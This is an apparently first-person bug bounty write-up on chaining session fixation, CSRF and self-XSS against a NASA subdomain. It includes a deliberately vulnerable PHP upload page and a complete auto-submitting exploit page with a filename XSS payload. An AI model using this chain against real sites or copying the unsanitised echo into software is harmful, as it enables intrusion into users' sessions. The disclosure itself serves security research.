TL;DR:
During a bug bounty activity, I discovered Session Fixation, CSRF, and Self-Reflected XSS vulnerabilities. I chained them together to achieve a Reflected XSS (Cross-Site Scripting) exploit.
The successful exploitation met NASA’s severity requirements, earning me the coveted Letter of Recognition.
Introduction
I’ve always wanted to be a pilot, maybe even the captain of a starship, ever since I was a kid. The idea of exploring the vast unknown of the universe has always fascinated me. It’s not just about physical exploration, but also contributing to the study of the cosmos.
Unfortunately, I’m just a hacker trying to enjoy the moments that come with my work. NASA, being the most important space agency in the world, has always held a special place in my heart. That’s why I’ve always dreamed of getting something meaningful from them.
During COVID time, about 5 years ago, I reported several vulnerabilities to NASA. Sadly, back then, they didn’t publicly acknowledge ethical hackers. Things have changed now, though. NASA now provides official Letters of Recognition to ethical hackers who report vulnerabilities of a certain severity (classified as “Priority” according to the BugCrowd Taxonomy).
Needless to say, I had to add that letter to my collection!
Mission Goal:
- Obtain NASA recognition in the form of an official Letter.
- Since this is an unpaid bounty and I have limited spare time, I aim to achieve this in the shortest time possible.
- I still believe in the true spirit of being a “hacker,” so I’ve decided to skip all the vulnerabilities that can be found with automated tools. I want to earn this recognition because of my skills, not as a script kiddie. Anyone can report a “missing security header.”
Mission Requirements:
Discover a vulnerability that:
- Has never been reported before.
- Is classified as P1-P3, according to the BugCrowd taxonomy because for NASA is a mandatory requirement.
Recoinassance
NASA has a really huge external perimeter, during my discovery I noticed more than 7000 active domains. In order to perform a good domain discovery I used a chain of several techniques and tools that don’t be topic of this article.
Vulnerability Discovery
After the reconnaissance (Recon) phase, I noticed a subdomain that seemed quite interesting because it presented a login page with default credentials.
When I tried the credentials, the behavior was unusual. A session token was generated and used for subsequent requests, but it was only passed as a POST parameter.
The interesting part is that the token never changed and never expired, meaning I could use it anytime I wanted.
Since I don’t want to disclose any information related to NASA, I created a page with the same behavior in my own lab environment.
If you want to recreate it yourself:
📄 index.htm
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload Form</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="LOCALFILE">Choose your file:</label>
<input type="file" name="REDACTED" id="REDACTED">
<input type="hidden" name="REDACTED-SESSION" value="REDACTED-ID">
<button type="submit">Submit</button>
</form>
</body>
</html>
📄 upload.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_FILES['REDACTED'])) {
$filename = $_FILES['REDACTED']['name'];
echo "file succesfully uploaded: <b>" . $filename . "</b>";
} else {
echo "Error, no file provided";
}
?>
After logging in, the page offered the possibility to upload a file from the browser.
Once I intercepted the request, I noticed that the filename was reflected by the web server.
I then attempted to insert an HTML tag containing a JavaScript payload to check for an XSS vulnerability.
To my surprise, no encoding or sanitization had been applied, and the popup appeared…
It was clearly a self-XSS, as I was only able to trigger it within my own browser session through a specific action; uploading a file with a malicious filename.
However, I began to consider whether it was possible to chain the previously discovered session fixation issue with this XSS vulnerability to create a more impactful exploit chain.
- I have a Session Token that never expires.
- I have a Reflected XSS vulnerability on the filename parameter in the panel page.
- I have a CSRF vulnerability on the upload endpoint.
- I can create a script that uses the session token and chain the CSRF to upload a custom file on the internal page.
Unfortunately, there is no official way to use JavaScript to automate the upload of an arbitrary file with no interaction due to security mechanisms in modern browsers.
While I was able to automate a POST request including the session token parameter, it appeared that there was no straightforward way to pass an arbitrary “filename” as the uploaded file.
I then decided to write a custom exploit.
Purpose and Behavior of the Exploit:
1. Dynamically Creates and Submits an HTML Form:
- The script builds an HTML form programmatically using JavaScript.
- The form is set to POST data with multipart/form-data encoding, typically used for file uploads.
- Several hidden input fields are added to the form, containing non-sensitive placeholder values (REDACTED). These fields simulate parameters required by the target server (e.g., options, authentication, or configuration settings).
2. Crafts a Malicious File:
- A base64-encoded string representing a simple text file is decoded.
- A malicious file name is crafted containing an XSS payload:
<img src=1 onerror=confirm('XSS_by_MrSaighnal')>.txt - This filename is designed to trigger JavaScript execution (XSS) if it is later displayed by a vulnerable web application without proper sanitization.
3. Creates a Hidden File Input:
- A hidden file input element is created and the malicious file is assigned to it.
- The file is attached to the form programmatically using DataTransfer() to simulate a user file upload.
4. Automatically Submits the Form:
- The form is submitted automatically as soon as the page is loaded.
- The crafted payload is uploaded to the target endpoint without user interaction.
exploit.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Form Submission</title>
</head>
<body>
<!-- Form that will be dynamically populated and submitted via JavaScript -->
<form id="dynamicForm" action="REDACTED" method="POST" enctype="multipart/form-data">
<input type="submit" id="submitButton" value="Submit request" />
</form>
<script>
const form = document.getElementById('dynamicForm');
// Function to create a hidden input field
function createHiddenInput(name, value) {
const input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = value;
return input;
}
// Add hidden inputs to the form
form.appendChild(createHiddenInput('REDACTED', 'REDACTED'));
form.appendChild(createHiddenInput('REDACTED', 'REDACTED'));
form.appendChild(createHiddenInput('REDACTED', 'REDACTED'));
form.appendChild(createHiddenInput('REDACTED', 'REDACTED'));
form.appendChild(createHiddenInput('REDACTED', 'REDACTED'));
// Base64-encoded string of a sample file (image)
const base64String = 'dGVzdA==';
const fileName = '<img src=1 onerror=confirm(\'XSS_by_MrSaighnal\')>.txt';
const mimeType = 'plain/text';
// Function to convert a base64 string to a Blob
function base64ToBlob(base64, mimeType) {
const binary = atob(base64);
const len = binary.length;
const buffer = new Uint8Array(len);
for (let i = 0; i < len; i++) {
buffer[i] = binary.charCodeAt(i);
}
return new Blob([buffer], { type: mimeType });
}
// Create a Blob from the base64 string and a File from the Blob
const blob = base64ToBlob(base64String, mimeType);
const file = new File([blob], fileName, { type: mimeType });
// Create a hidden file input and assign the file to it
const fileInput = document.createElement('input');
fileInput.type = 'file';
fileInput.style.display = 'none';
fileInput.name = 'REDACTED';
const fileList = new DataTransfer();
fileList.items.add(file);
fileInput.files = fileList.files;
// Add the file input to the form
form.appendChild(fileInput);
// Submit the form automatically
form.submit();
// Optionally update the browser history
history.pushState('', '', '/');
</script>
</body>
</html>
Session Fixation + CSRF + XSS
- Save the HTML exploit locally or place it in a webhosting
- Navigate the page
- The malicious page creates a custom upload request with an arbitrary filename (our JavaScript payload), including the fixed Session Token, targeting the vulnerable endpoint (CSRF), and ultimately triggering the reflected XSS.
- See the javascript execution